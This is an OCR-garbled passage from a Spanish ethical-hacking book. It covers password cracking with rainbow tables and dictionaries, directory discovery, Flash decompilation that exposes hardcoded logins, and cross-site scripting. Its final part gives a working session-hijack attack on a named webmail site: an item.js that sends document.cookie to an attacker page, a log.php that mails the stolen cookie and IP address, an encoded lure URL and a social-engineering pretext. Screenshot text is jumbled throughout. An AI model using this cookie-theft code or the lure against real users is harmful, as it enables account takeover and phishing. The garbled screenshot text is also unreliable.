now bums Windows password
reset CD, supports MYOB 2007,

ACT 2007, SQL 2005, and

for our Word and Excel password recovery service. Acrobat 8.

password recovery tool.

Instantdneo. Decryptum es un sitio que descifra un documento
Word en segundos. Para hacerlo, utiliza un mecanismo basado en
rainbow tables. Cualquier documento Word con password de open podra
ser descifrado y posteriormente abierto, mas alla del password que haya tenido.

Los programas que se utilizan en la actualidad son muchos, pero los mas comunes
-nombradas antes- son el original Ophcrack (http://ophcrack.sourceforge.net, es
muy recomendable leer su Help para conocer algunos consejos), RainbowCrack
(www.antsight.com/ zsl/rainbowcrack/) y Cain & Abel (www.oxid.it/cain.html).
Estos programas pueden ser utilizados bajo Windows o Linux y sirven para atacar
hashes bajo cifrados de diferentes tipos, como LM, md5, SHA1 y otros. Son real-
mente rapidos, ya que tardan muy pocos segundos o minutos. Podemos encontrar
una nota interesante en www.codinghotror.com/blog/archives/000949.html.
Ahora bien, scomo podemos obtener Rainbow Tables? Podemos generarlas (en
www.antsight.com/zsl/rainbowcrack/rtgen_cfg5.txt encontramos la lista de co-
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mandos para generar tablas rainbows sobre el charset [ABCDEFGHIJKLM-
NOPQRSTUVWXYZ0123456789!@#$%"&*()-_+= ] del programa Rainbow-
crack; en este caso poco mas de dos meses con un micro Pentium 4 de 2.8 Ghz),
podemos bajarlas desde una red P2P o de sitios como http://rainbowtables.sh-
moo.com, http://lasecwww.epfl.ch/SSTIC04-5k.zip, www.freerainbowtables-
.com y www.thepiratebay.org/search/Rainbow%20Tables; podemos comprarlas
en DVD en http://sarcaptj.wayreth.eu.org y www.objectif-securite.ch/ en/con-
tact.php, o bajarlas desde algun cliente para torrents.

Diccionarios

Por el anio 2001, di a los lectores de una lista de correo que por aquel entonces
moderaba, un archivo que contenfa palabras deniminado 510.000 passwords
usualmente utilizados en Argentina. Ese material todavia estd disponible pa-
ra descargar, con la diferencia de que en la actualidad, la cifra de palabras asciende
a una cantidad de 7.414.572, una nada despreciable coleccién, que me ha ahorra-
do mucho tiempo en las auditorias de passwords.

Para obtenetlo, hay que descargarlo de www.hackingetico.com/diccionario.zip
(gracias a www.mesi.com.ar -ISO 9001- por el hosting).

El archivo posee clave y, para conocerla, hay que darse de alta en la lista:

http:/ /www.elistas.net/lista/nnl/alta , de ese modo les llegard automatica-
mente un correo de bienvenida con dicha clave.

Este diccionario fue creado a través del tiempo coleccionando listados de palabras,
generandolas o escribiéndolas a mano, tomandolas de grandes repositorios publi-
cos, mas otros archivos que han confeccionado colegas, allegados y anénimos. Hay
también claves comunmente utilizadas de perfiles variados y un resto de palabras
proveniente de todo tipo de base de datos. El material se depuré con la aplicacion
TextPad, de Helios Software Solutions (www.textpad.com).

Herramientas FB

No hay dudas de las bondades de PGP como herramienta para cifrar nuestros archivos
y correos. Aun asi, si nuestros passwords son muy débiles, mediante fuerza bruta es
posible descifrar esos archivos. Existen algunas herramientas, como las que podemos
encontrar en www.elcomsoft. com/edpr.htmly www.accessdata.com.
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Contenido del archivo

El fichero diccionario.zip, contiene un archivo de texto de 74 megas (dicciona-

rio.txt) y un archivo .bat que cuando lo ejecutemos, generara lo siguiente:

* Un diccionario.Ist para utilizarlo con John the Ripper.

¢ Un diccionario.dic para utilizarlo con LC5.

* Un archivo diccionario sin extensiéon que podra ser utilizado con aplicaciones
como Hydra u otros programas y sistemas operativos.

Auditor. Medusa (www.foofus.net/jmk/medusa/medusa.html)
es otra aplicacion para realizar brute force sobre servicios de un
servidor. Sus autores afirman que es mas estable que Hydra, de THC.

Documentos técnicos

www.secuwiki.com
http://his.sourceforge.net/trad/
http://akira.azul.googlepages.com/sabuesos.pdf
http://blackhat.com/html/bh-multimedia-archives-index.html
www.security-freak.net
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www.packetstormsecurity.org

#/ Featured Files #/ Last 10 Files

) o April 30, 2008 + blurBex-Ifi bt
us opennhrp-0.7.tar.bz2 (85 KB) = interact-rfitxt
Filter Internet OpenNHRP implements the NBMA Next Hop Resolution Protocol (as defined in RFC 2332). + openauto-sqlxt
Way 02, 2008 - The Register It makes it possible to create a dynamic multipoint VPN Linux router using NHRP, GRE, and » coddstatz zip
HSBC Foils £70m Fraud IPsec. It aims to be Cisco » coddstatz txt
Way 0 ~Vnumet [More Info] 2 dsa-1586-1 txt
Police Raid Bradford Computer Fair Aprif 29, 2008  MDYSA-2008-095 txt

z inder-1.23.3.tar.gz (764 KB) » chicomas204-xss txt
ZoneMinder is a suite of applications intended for use in video camera security applications,
including theft prevention and child or family member monitoring. It supports capture,
analysis, recording

May 02, 2008 - Wired
Digsby Busts Chat Out Of Facebook
Jail

2 projectalumni-sql txt
« mawork-insecure txt

May - The inquirer [More Info] [Last 20| Last SO | L
Apple's Backdoor Shenanigans Pay . PP
Off Aprii 21, 2008 —
14targz (10K8)
Metagoofil is an information gathering tool designed for extracting the Meta-Data of public « coddstatz bt
documents (pdfdoc,xis,ppt ete) available on targetiictim websites. It will generate a htm - dea15EE1
May 02, 20 page with the ...  MDYSA4,-2008-095 txt
Suggested Listening [More Info] + dsa-1565-1 bt
Atist: Robbie Rivera Aprii 21, 2008 - dsa-1564-1 bt
Track: Revolution strongswan-4.2.1.tar.gz (3 MB) = Nd 3N N8A vt

Este es un repositorio continuamente actualizado sobre herramientas de
seguridad, noticias de incidentes informaticos, textos, avisos, exploits,
articulos y los mas diversos archivos relacionados. Existe hace muchos afios y
es posible ver tanto herramientas o técnicas de hace algln tiempo como las
mas nuevas.
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5> Aplic.
Web

Descuidos y vulnerabilidades més
comunes ligadas a las aplicaciones
webs. Principalmente, aquellos que
nacen debido a una deficiente
programacién, implementacidn,
administracién del servidor o bien del
contexto en el que se encuentra la
aplicacidén. Se veran metodologias de
forma muy clara, detalles técnicos,

herramientas e imagenes interesantes.



APLICACIONES ONLINE

En una internet cada dfa mas orientada a brindar servicios al visitante de sitios web, es
de esperar que un gran numero de éstos tengan aplicaciones corriendo. Muy lejos esta-
mos de los estaticos sitios html con letras Times New Roman que habia en los afios 90.

Estas aplicaciones web hicieron que el desarrollo de un sitio interactivo, con bases
de datos y diversos scripts, ya no sea obra de un disefiador o un usuario comun, si-
no de un programador con el soporte de un administrador o equipos de trabajo que
participan en forma conjunta para su desarrollo y mantenimiento.

Muchos de estos sitios tienen descuidos en programacion y de administracion, y no
hablamos de blogs personales ni de aquellos sitios particulares en donde reina la es-
tética (disefio a la vista) en un formato estatico, sino de webs de organizaciones e
instituciones que ya estan, de alguna forma, en lo que es llamado Web 2.0 o red so-
cial.

Si estos sitios estan vulnerables, de algin modo exponen informacién o datos. Co-
mo una de las metas del hacking ético es encontrar esas brechas antes de que un
atacante real lo haga, en nuestra tarea como profesionales éticos la clave es buscar,
interpretar, analizar, generar errores y revisar de modo intensivo, hasta encontrar.

No todo lo encontrado puede ser explotable, pero podria ser una muy buena pista
para dar con algo sensible, o bien, mejorar la seguridad. Veamos cuales son algu-
nos de estos descuidos genéricos y las técnicas de intrusion mas comunes ligadas a
ellos.

] | http:/fwww.penetrationtests.com/ i IG]'

Penetration Testing directory project

Looking for security resources?

HE PENETRATION TE DIRECTORY PROJECT!

trict] lated t ra testing b

Penetration testing

SEARCH
I 55

MENU
Home

Latest News Companies es
Sun et Companies that ar ring.. ' f ound the entire..
Our Blog! Documents Security standards
Documen ation testing Informatic standards
Latest additions
Tools

Contact Us
Multipl

Directorio. Penetration Testing directory project
(www.penetrationtests.com) es un repositorio de direcciones
relacionadas al mercado del chequeo de la seguridad.
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Directorios y archivos ocultos

Un webmaster (sea programador, disefiador o administrador) encargado del sitio de
la empresa puede dejar, aunque sea por unas noches, una carpeta en el host llama-
da backup (www.sitioweb.com/backup). Es muy probable que un intruso la en-
cuentre rapido, ya sea con escaneres o por Google, o quiza sea vista por un em-
pleado del lugar, algo que sucede bastante a menudo.

Los directorios que no estan disponibles para el publico son de mucho interés pa-
ra el intruso ya que alli puede existir un atajo o material sensible para lograr una in-
trusion, o bien, conseguir la meta (o parte) propuesta sobre el objetivo. Esos direc-
torios pueden encontrarse de varias formas:

* A ciegas, con un escaner o script: un ejemplo es el de las herramientas que
chequean los CGI files y paths (directorios) mas comunes. Podemos ver una lis-
ta de estas utilidades en www.blackhat.be/cst/big.db.

* Por légica o deduccién, alineando un escaner al objetivo o a mano: un sim-
ple script escrito en Perl que se encargue de leer una lista de palabras selecciona-
das segun el tipo de objetivo para que, automaticamente, las vaya probando en el
host y diga qué path es coincidente con la palabra alli presente (recordemos los
tips del Capitulo 2 —Escaneo y fingerprinting— sobre vulnerability scanning).

¢ Siguiendo el mapeo del sitio o los links, e intentando encontrar browsing
directory en alguno de los paths que existen.

Hay utilidades que mapean el sitio o lo bajan completamente para que luego po-
damos analizarlo offline con tranquilidad y asi ver la totalidad de los links y la es-
tructura misma del sitio, por ejemplo WebZIP (lo podemos encontrar en la
direccién www.spidersoft.com/webzip/). Supongamos que el sitio tiene la aplica-
cion instalada en www.sitioweb.com/clientes/stock/pedidos/carrito/com-
pra. asp?id=61. A mano, trataremos de ver el contenido de:

* www.sitioweb.com/clientes/stock/pedidos/carrito/
* www.sitioweb.com/clientes/stock/pedidos/

CGI

CGI (Common Gateway Interface) es una importante tecnologia de la World Wide Web que per-
mite a un cliente (explorador web) solicitar datos de un programa ejecutado en un servidor web.
CGl especifica un estandar para transferir datos entre el cliente y el programa. Es un mecanis-
mo de comunicacion entre el servidor web y una aplicacion externa. Fuente: Wikipedia.
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* www.sitioweb.com/clientes/stock/

e www.sitioweb.com/clientes/

Recordemos que, haciendo la peticion http de estas diversas maneras, podemos lle-
gar a obtener diferentes resultados:

e www.sitioweb.com/clientes/

e www.sitioweb.com/clientes

* http://sitioweb.com/clientes/
* http://sitioweb.com/clientes
* https://sitioweb.com/clientes

Ademas, tengamos en cuenta que no es lo mismo poner un URL que dé error de
sistema en Firefox 2.0 que en Internet Explorer 7.0, instalado por defecto. En el
primero, se vera bien el error.

3 Mozilla Firefox

Archiva  Editar  Yer Hiskorial  Marcadores  Herramientas  Avuda

= = l\éJ ‘lj_“ ||_| hikkp: fhean, .orgfinscripcion_dir, asp?="

Microsoft OLE DB Provider for ODBC Drivers error '80040e14
[Microsoft][ODBC Microsoft Access Driver] Syntax error in INSERT INTO staternent.

Ainscripcion_dir.asp, line 22

Mensaje. Error del gestor de databases mostrado a través del browser Firefox.

En cambio, en Internet Explorer sélo se vera el Status Code 500, correspondiente

Errores de estatus

Los famosos Status Code Definitions nimeros 404, 403, 200 que aparecen luego de nuestras pe-
ticiones http estan declarados y detallados en www.fags.org/rfcs/rfc2616.html. Existen de cinco
clases: los del rango 100 son informativos, los del 200 son peticiones exitosas, los del 300 son re-
direccion, los del 400 son los de error del cliente y los del rango 500 son de errores del servidor.
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a un error de sistema, algo que no brinda demasiada informacion.

"~ HTTP 500 Error interno del servidor - Windows Internet Explorer

- L e |§1 hkp: e, .orgfinscripcion_dir asp?="

Archivo  Edicidn  Wer  Favoritos  Herramientas  Avuda

e

’é HTTP 500 Error interno del servidor l

El sitio web no puede mostrar la pagina

Causas mas probables:
+ El sitio web esta en mantenimiento.
+ El sitio web tiene un error de programacion.

Puede intentar lo siguiente:
® Actualice la pagina.
® Regresar a la pagina anterior.

& Mas informacién

Error. Internet Explorer 7.0 no muestra el error del gestor de databases. Podemos
activarlo desde el ment Herramientas/Opciones de Internet. Una vez alli, en Opciones
avanzadas, hay que destildar la opcion Mostrar mensajes de error HTTP descriptivos.

* Viéndolo directamente gracias a browsing directory: browsing directory es cuan-
do podemos ver el contenido de un directorio online. Es posible empezar con in-
dex of / y mostrar la lista de archivos u otras carpetas que pueden tener dentro.

- - @ {L‘ ‘-‘- http:ff Isctjgestionjdocs]
Index of /sct/gestion/docs
HName Last wodified Size Description
a Parent Directory 20-Nov-2007 06:30 =
acceso/ 20-Nov-2007 06:30 -
autoevalds.html 20-Nov-2007 06:30 164k
catamarca/ 20-Nov-2007 06:30 =
coneau. html 20-Nov-2007 06:30 14k
@ conta/ 20-Nov-2007 06:30 o
E} informe2002/ 20-Nov-2007 06:30 =
[:3 plestra2002/ 20-Nov-2007 06:30 -
@ relevamiento/ 20-Nov-2007 06:30 o
E} softlibre/ 20-Nov-2007 06:30 =

Paths. El directory browsing habilitado permite ver el contenido de los directorios,
tanto carpetas como archivos y, por tanto, acceder a ellos o a la informacién alli contenida,
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segin el atributo que tenga en los archivos o en el lenguaje que esté programado.

* A través del contenido de www.sitioweb.com/robots.txt: Hay quienes toman el
recaudo de listar, en el archivo robots.txt, los paths y directorios que no quiere que
Google y otros buscadores indexen a su motor de busqueda. Sin embargo, no tie-
nen en cuenta que de esta manera le estan dando informacién facil a un posible in-
truso.

* A través de alguna indexacion del tipo Google o almacenamiento a modo
de mirror (espejo), caché o duplicado de sitio.

* Desde el sitio de la empresa que desarroll6 la aplicacion: Es decir, si se pue-
de bajar una demo o la aplicaciéon completa, se puede instalar y analizar qué tipo
de directorios y archivos posee la aplicacion o cémo puede explotarsela. Esta
practica se suele denominar clonado de contexto e implica conseguir la misma
aplicacion e instalarla en el mismo sistema operativo para ver como es su admi-
nistracion, sus paths y sus archivos, su esquema de seguridad (coémo se loguea el
admin, cémo se guardan sus passwords, como y donde se actualiza, como se par-
chea, archivos por defecto en instalacion, etcétera). Antes de hacer todo eso, con-
viene leer el manual de usuario o un datasheet de especificaciones técnicas, ya que
el intruso hasta puede tratar de analizarla en otro sitio que utiliza la misma apli-
cacion, pero con menos medidas de seguridad de entorno aplicadas.

Los archivos en estos directorios pueden contener configuraciones, backups de to-
do tipo, scripts con las mas diversas funciones (upload.php o upload.asp para su-
bir archivos al server, entre otros).

También se lo llama Direct Access o Direct Request cuando se accede directa-
mente a un path o a un archivo de la aplicacién insegura. Muchas aplicaciones de
e-commerce tuvieron la falla de que, al llamar directamente a su database de clien-
tes, ésta podia ser bajada sin problemas.

En www.packetstormsecurity.org/UNIX/cgi-scanners/Webr00t.pl, pode-

mos encontrar una utilidad que busca secuencialmente directorios y archivos de si-
tios y tiene varios afios (esta escrita en Perl). Es util para familiarizarse con este ti-

Archivos comprimidos
Para los usuarios de Windows, 7-Zip es una aplicacion que permite manipular archivos compri-

midos en muchas extensiones (gz, tar.gz, tar, zip, rar) y con mayor performance que los compre-
sores y decompresores mas usuales. El sitio de esta aplicacion es www.7-zip.org/es/.
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po de herramientas de linea de comandos altamente customizables (adaptable tan-
to en funcionamiento como en lo que busca). Una buena idea es ver si podemos
mejorarla, agregarle palabras relacionadas con objetivo del tipo. Por ejemplo:

/proyectos/ /intranet/ /carlos/ /eduardo/ /importante/
/clientes/  /martin/ /politicas/ /acceso/ /bkp/
/listados/ /databases/  /datos/ /cuentas/ /correos/
/ptivado/  /archivos/ /documentos/ /data/ /juan/
/backup/ /tespaldo/ /servidor/ /includes/ /app/

/gerente/ /webmaster/ /planeamiento/ /gustavo/ /config/
/usuarios/  /admin/ /estrategia/ /confidencial/ /asp/

/viejo/ /panel/ /docs/ /interno/ /web/

/borrar/ /mails/ /grabat/ /memos/ /source/
/ingtreso/ /db/ /secreto/ /copia/ /nombreadmin/

¢Coémo la ejecutamos en Windows? Muy facil. Instalamos un intérprete de Perl
como ActivePerl, que podemos descargar desde la direccion www.activestate.
com/store/activepetrl/download/. Alli basta con hacer click en Continue sin
llenar los campos para bajar la versiéon que deseemos.

Luego de instalar Petl, dejamos el escaner en C:\Perl\bin y ejecutamos CMD.e-
xe en Windows. Una vez que estamos en el prompt MS-DOS, nos movemos has-
ta ese path y lo ejecutamos de la siguiente manera:

C:\Perl\bin>perl Webr0Ot.pl -h www.website.com -o resultado.txt

Ok here we go ...

Host: www.website.com
Output: resultado.txt
Verbose: OFF

Audio: OFF

Interactive: OFF

Using: Directory Discovery
StartDir: /

Searching for directories
1 : / = 200 OK
2 : etc

Si deseamos algo mucho mas rapido y nuevo, podemos utilizar el médulo de Acu-
netix (www.acunetix.com). Otra herramienta muy buena para hacerlo es nikto
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(www.cirt.net/code/nikto.shtml) o también podemos programar un script propio.
Este ejemplo es para aquellos que recién estan empezando.

3 Terminal =l

File Edit View Terminal Tabs Help
localhost# perl nikto.pl -host .ar 4

Nikto 2.00/2.00 - www.cirt.net

Target IP: 200.

Target Hostname: .ar

Target Port: 80

Start Time: 3:01:03

+ Server: Microsoft-IIS/6.0

Retrieved X-Powered-By header: ASP.NET

Allowed HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST

+ OSVDB-877: HTTP method ('Allow' Header): 'TRACE' is typically only used for de
bugging and should be disabled. This message does not mean it is vulnerable to X
ST

+

+ Public HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST

+ OSVDB-877: HTTP method ('Public' Header): 'TRACE' is typically only used for d

ebugging and should be disabled. This message does not mean it is vulnerable to

XST.

+ OSVDB-396: GET /_vti_bin/shtml.exe : Attackers may be able to crash FrontPage

by requesting a DOS device, like shtml.exe/aux.htm -- a DoS was not attempted.

+ OSVDB-3233: GET /postinfo.html : Microsoft FrontPage default file found.

+ OSVDB-3092: GET /localstart.asp : This may be interesting...

+ 0SVDB-3233: GET /_vti_inf.html : FrontPage is installed and reveals its version number (check HT
ML source for more information).

+ 0SVDB-3500: GET /_vti_bin/fpcount.exe : Frontpage counter CGI has been found. FP Server version
97 allows remote users to execute arbitrary system commands, though a vulnerability in this versio
n could not be confirmed. CAN-1999-1376. BID-2252.

+ OSVDB-67: POST /_vti_bin/shtml.dll/_vti_rpc : The anonymous FrontPage user is revealed through a
crafted POST.

+ 2964 items checked: 6 item(s) found on remote host

+ End Time: 3:07:03 (385 seconds)

+ 1 host(s) tested

localhost# uname -a; date

FreeBSD localhost 5.5-RELEASE FreeBSD 5.5-RELEASE #0: Tue May 23 14:58:27 UTC 2006 root@perseus.cse
.buffalo.edu: /usr/obj/usr/src/sys/GENERIC 1386

Thu 03:13:36 ART

localhost# | 5

Nikto. Pantalla de la shell en donde se testea Nikto 2.0
(sobre FreeBSD 5.5). Aqui se termina de hacer un chequeo de directorios,
archivos CGI y otros sensibles de casi 3000 items en menos de 7 minutos.

Ingenieria inversa sobre Flash

Como claro ejemplo de ingenierfa inversa (desarmar y analizar para ver como esta
hecho o cémo funciona), la llevaremos a cabo sobre una de las tecnologfas mas uti-
lizadas en sitios webs dinamicos.

Un archivo de Adobe Flash es facil de descompilar si contamos con la herramien-
ta adecuada, y as{ veremos cémo conseguir informacion sensible de un sitio me-

Escaner en linea

Si queremos tener mas alternativas, podemos probar un escaner online de los links
que contiene un sitio. Para eso, en www.elsop.com/quick/ encontraremos LinkScan-
/QuickCheck. Ademas, podemos descargar una versién de prueba del programa.
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diante esta técnica ligada al information gathering. Es muy comin que las organi-
zaciones e instituciones utilicen peliculas o partes de su sitio en Flash, por ejemplo
en menus, presentaciones, formularios, accesos y links semiestaticos.

v (’J /\_l} @ http:f e, .comflogin.swf “ I’ |G|'

acceso a clientes

usuario [ password ‘

LoginlID. Clasico y arriesgado acceso de validacion

en Flash para la comprobacion de usuario y password.

Hay mucho mas que estética 3D o movil detras de esas animaciones. Descompi-
lando este tipo de archivos de extension .swf (application/x-shockwave-flash com-
pilado y comprimido) podemos encontrar datos como los siguientes:

* Links ocultos

* Casillas de correo

* Usuarios

* Claves

* Archivos ocultos

¢ Directorios ocultos

* Nombres

* Variables

¢ Comentarios de codigo con informacion personal

* Otro tipo de informacién relacionada con el objetivo, que nos puede llegar a ser-
vir.

Para estos dos ejemplos que veremos a continuacion, usaremos SWF Decompiler de
la empresa Sothink. Este tipo de software se cred, en un principio, para volver las ani-
maciones (.swf) a un formato editable (.fla). Podemos testear el software desde
www. sothink.com/product/flashdecompiler/index.htm.
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Una vez instalado el programa, entramos en la web que contiene la pelicula Flash que
queremos descompilar y la guardamos en Firefox entrando en el item del ment Ar-
chivo y luego en Guardar como...

v & {L“ n http:f fwwe, .comflogin.swf v > [GI'

Validando Password para Inicio de Sesion

Validando. El archivo Flash hace la comprobacién de los datos introducidos y,
si son incorrectos, nos devuelve a la misma pagina sin error o cartel alguno.

Entonces, para continuar, abrimos el archivo login.swf que descargamos a nues-
tra maquina con el SWF Decompiler.

Code Option Help
T eooe |H| 0 & [ -
X Resources
[#-|_7) Application Data A E% Export...
[#-15) Configuracion loce = :
g Contacts I = [J=wr login.swF
[#-{5) Datos de program # []_‘l ISha;na (;2)
{2) Entorno de red i DTI mag:( )
#-1J) Escritorio ® D_J Sound (1)
[#-5¢ Favoritos -] Font (2)
1) Impresoras . # D?‘ Text (23)
#1-() Mend Inicio acceso a clientes (] Sprite (154)
({75 Mis documentos - : Ej ::J:::((;D))
() Plantil . " E
Stundl o [N password INNNTTTY (S
() SendTo &[] Misc Tags (156)
[0 Tenable 7
>
il|=| @ Goto~
Size  Type
Carpeta
Carpeta
Carpeta
Carpeta General | Instance | Label | Hex
Carpeta 1
Carpeta Character Tagld Use Characters A
shape 1 11
85K Shockwa shape 2 12
shape 3 15
shape 4 46
shape 5 48
shape 6 51
shape 7 53
shape & 61
shape 9 62
shape 10 64
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Inversa. Interfaz grafica del descompilador. Autométicamente, en el men(
de la derecha, aparecen todas las secciones del archivo ya descompilado.

Lo que nos interesa a nosotros es aquello que se encuentra en la seccién Action, ya
que alli estan declaradas, en el cédigo fuente, las acciones que realiza el archivo
Flash con la informacién que se le brinda.

it FLA ﬁ ’ Explorer |m. E‘ -
X|| 1 |// Action script... A
pplication Data A || 2
lonfiguracion locz || 3 |on (release)
ontacts 4
atos de program 5 if (usuario == "alarcon” && password == ")
htorno de red = { .
critorio 7 gotoAndPlay("loading™);
=] getURL("http: / /. Jelientes/ wiemm—m/alarcon. htn') 2
avaritos 3 9 } /7 end if
npr'esorals | w0 if {usuario == "calacorral” && password == [N
end Inicio 1 {
is documentos ? getURL ("http: / /umr. Jclientes, mee—) /calacorral.htn™) ;
antillas [ } // end if
eciente " if (usuario == "sob” && password == ")
zndTo 15 {
=nable || . getURL ("http: / /. /clientes/sob/sob.htn”) 2
—— —|| } // end if
. 5 19 if {usuario == "public” && password == ") =
@ Goow | M {
20 getURL ("http: / /. Jpublic™);
Size | Type || } // end if
Carpeta || 22 if (usuario == "metrovacesa” & password == "[ ")
Carpeta || 23
Carpeta || 24 getURL ("http: / /. felientes ee——— sardenyads. htn)
Carpeta 25 ) // end if
Carpeta 26 if (usuario == “dantex” && password == " ee—8")
27 {
Carpeta || 5 getURL {"http: / /. Jclientes/NENEN/ dantex. htu") ;
85K Shockwal | 29 } // end if
30 if (usuwario == "areas” && password == ')
El {
32 getURL ("http: / /., /fclientes/areas/index.htn”);
33 } // end if
34 if (usuario == "areasdutyfree” && password == ")
5 {
36 getURL ("http: / /., feclientes/ WEEGEGGG—G—_arcasdutyfree. htn o
P \ i ea e L
e T ————— ¢

Source. El codigo fuente de la pelicula Flash del acceso muestra los links internos del
sitio con sus respectivas claves de acceso y usuarios asignados a cada una de las direcciones.

Loégicamente, no todos los archivos .swf entregan tanta informacion. A veces, suelen
dar links internos solamente, y esta en nosotros encontratle o sacatle provecho con:

e Submits via POST.

¢Qué es una cookie?
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¢ Generando errores.
* Haciendo comprobaciones de datos de determinadas variables automatizadas
(comprobacién de usuarios de sistema existentes, por ejemplo).

Intrusos osados pueden llegar a hacerse pasar por los disenadores o administrado-
res (sabiendo ese tipo de datos no publicos) para obtener claves FTP o Shell de sis-
tema.

Veamos el segundo ejemplo. Este es el coédigo fuente de otro sitio que, al declarar
la funcion identificarse(), deja ver el link en donde se comprueba ese login (www-
. sitioweb.com/aplicacion/Identificarse.php). Si las funciones son variadas, nos da-
ra bastantes URLs internos como para analizar, entre otros datos.

—8<

function identificarse()
{
var iden = new LoadVars();
iden.usu = root.Usuario;
iden.con = root.Contrasefia;
iden.sendAndLoad (“Identificarse.php”, iden, “POST”);
iden.onLoad = function ()

{

A\

if (iden.Autorizado == “si”)

{

A\

iden.Autorizado = “no”;
_root.entrandojuego();

}

else

{
_root.entradanovalida () ;

} // end if

I

Compra de exploits Oday

Empresas como TippingPoint, iDefense, Immunity y Netragard compran exploits Oday a los pro-
gramadores y los mantienen en privado. Si nos interesa desarrollar este tipo de programas,
podemos leer A Buffer Overflow Study - Attacks & Defenses, Introduction to Shellcode - How
to exploit buffer overflows y Writing Security Tools and Exploits, entre otros libros.
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} // End of the function
—8<

Dejar de recomendar la utilizaciéon de Flash por el riesgo de ser victima de este ti-
po de analisis es muy extremo, ya que existen soluciones, como Amayeta SWF
Encrypt, para mitigar el problema (www.amayeta.com/software/swfencrypt/).

XSS O CROSS-SITE SCRIPTING

Se denomina XSS a la técnica que permite inyectar codigo (tags) HTML o javas-
cript, por ejemplo, en una aplicacion o sistema en el que no se esté correctamente
validado para poder asi ejecutarse. Veamos un claro ejemplo grafico:

¢ - = @ @ @ 3 http:ﬁwww,l:nuscat:iov,clarin,com,l'resultadcus,asp?t:1=%22%3E%3’:;‘scri|:|t%3E%3(5u:ri|:|t°.io3Ealert(%ZZ[XSS]‘v Lv"; @

Agregar un sitio | Buscador Clarin.com en tu sitio

Web Imégenes Downloads

La pdgina en http:/fwww.buscador.clarin.co... E]

| Aceptar |

XSS. Aqui vemos como se ejecuta, en nuestro explorador Firefox sin noScript,
la porcion de cddigo “<script>alert(“[XSS]”)</script>" agregado al URL
del buscador del sitio del diario Clarin.

Aunque el cartel que se muestra parece inofensivo, la técnica en si no lo es. Lo que
hicimos fue sélo una comprobacién de la vulnerabilidad del sitio ante esta técnica,

que puede utilizarse para realizar actividades como:

* Robar cookies y, de ese modo, sesiones o lo equivalente a entrar en una casilla de Hot-
mail, o cualquiera que utilice el mecanismo cookies de sesion, sin conocer la clave.
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¢ Usar al visitante como proxy para algin ataque via http remoto.

* Robar nombres de usuarios y sus contrasefias a través de formularios disefiados
especialmente por el intruso.

* Redireccionar automaticamente o hacer que el browser del visitante realice algu-
nos comportamientos que quiere el intruso/ejecutor.

* Obtener el password del administrador de foros y sitios vulnerables.

* Realizar phishing, fraudes online y escaladas en intrusiones de alta complejidad.

Veamos ahora un ejemplo simple de session hijacking (a través de la extraccion de

cookies, establecer una sesion en una casilla de correo como si fuéramos la victi-

ma). Este ejemplo también funcionaba en Hotmail hasta que, hace unos meses, la

gente de Microsoft mudo casi la totalidad de las casillas a Windows Live y ya no es

posible reproducirlo como antes.

Si bien se pueden atn tomar las cookies de una sesion en Hotmail (MSN tiene mu-

chos sitios vulnerables a XSS), en la actualidad sélo funciona en aquellas que no se

han pasado a la nueva tecnologia (casillas Hotmail abiertas hace muchos afios) con

otros métodos de seguridad y comprobaciones aplicados.

¢Qué necesitamos para el ejemplo? Supongamos que decidimos comprobar la se-
guridad de una determinada casilla de www.ubbi.com, que pertenece a un gerente
de sistemas ya que estamos contratados en un proyecto de seguridad. Un punto por
comprobar es ver de qué modo impacta la ingenierfa social dentro de la organiza-
cion. Previamente, detectamos que a la casilla también la utiliza para cuestiones de
trabajo para no usar el e-mail interno de la empresa.

Filev | Edit Sort Formulas Revisions

N o« X By @ Formaty B 7 U as F-11F Ty B BEF L Align
A & C D E

<html<body><script>alert(document. cookie)</script></body></html>|

2 test

Entonces, lo primero que necesitamos es encontrar una vulnerabilidad XSS en el
dominio del webmail, dominio que estara ligado a la cookie en cuestion.
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Doc. Google hace poco sufri6 la falla XSS. Miren el interesante detalle en:
http://xs-sniper.com/blog/2008/04/14/google-xss/

Entramos en el sitio y vamos probando, dentro del dominio ubbi.com, la ejecucion
de “><script>alert(“[XSS]”)</script>"".

Lo encontramos en el URL:
http://secure.ubbi.com/registracion/Recupero_Pass.asp?stv=3"><scrip-
t>alert(“[XSS]”)</script>.

ﬁ - @ - @ e @ | . http:ffe ubbi. gistracionfRecupero_Pass.asp?sry="><script >alert("[x55]") </script =" |

REGISTRACION ClarincomX = Ubbl

Ingrese su usuario y fecha de nacimiento, y presione la opcidn Aceptar.

X882. Comprobacion de la vulnerabilidad XSS en el dominio en cuestion.

Una vez comprobada la vulnerabilidad, podemos continuar con el paso siguien-

Buscar XSS
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te. En un sitio controlado por nosotros y que, via PHP, pueda enviar correos
electronicos (para enviarnos la cookie de la victima a Outlook y que cuando lle-
gue éste nos dé un sonido de aviso), tenemos que subir una carpeta (en este ejem-
plo llamada harry) con los siguientes archivos:

Nombre: item.js
Coédigo fuente:

location.href=' http://www.susitio.com/harry/log.php? item=" +escape
(document.cookie)

Nombre: log.php
Cédigo fuente:

<?

Scookie = § GET[ ‘iten’];

$ip = getenv (“REMOTE ADDR”);

STime = date(“l dS of F Y h:i:s A”);

S$msg = “Cookie: $cookie\nDireccion IP: S$ip\Time: $Time”;
Ssubject = “cookie”;
mail (“donde-1llega-la-cookie@gmail.com”, S$subject, Smsg);

header (“location: http://www.ubbi.com/sms/bases harry.asp”);
?>

Una vez que esté la carpeta con los archivos alli, vamos a preparar el URL para pasar-
le a la victima (con el pretexto de que es un concurso para su sobrinito fanatico de
Harry Potter) a su correo ubbi.com. Cuando se haga clic en esa URL, ocurrira lo si-

guiente:

* Via e-mail se nos enviara la cookie de sesion con la direccion IP, fecha y hora.
* Acto seguido, se lo redirigira automaticamente a la pagina que le pedimos que entre.

El URL por enviar quedara asi:
http://secure.ubbi.com/registracion/Recupero_Pass.asp?stv=3"><script
src=http:/ /www.sitiodeuds.com/harry/item.js>”

Para que la supuesta victima no sospeche del sitio raro, vamos a codificarlo un po-
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co con morf v0.3. El resultado es el siguiente:
http://secure.ubbi.com/registracion/%52%65%63%75%70%65%72%
6F%5F%50%61%73%73%2E%61%73%70%3F%73%72%76%
3D%33%22%3E%3C%73%63%72%69%70%74%20%73%72%
63%3D%68%74%74%70%3A%2F%2F%77%77%77%2E%73%69%
74%69%6F%64%65%75%64%73%2E%63%6F%6D%2F%68%61%
72%72%79%2F%69%74%65%6D%2E%6A%73%3E%22

A este (burdo) URL de ejemplo, lo incluimos en un e-mail confeccionado en
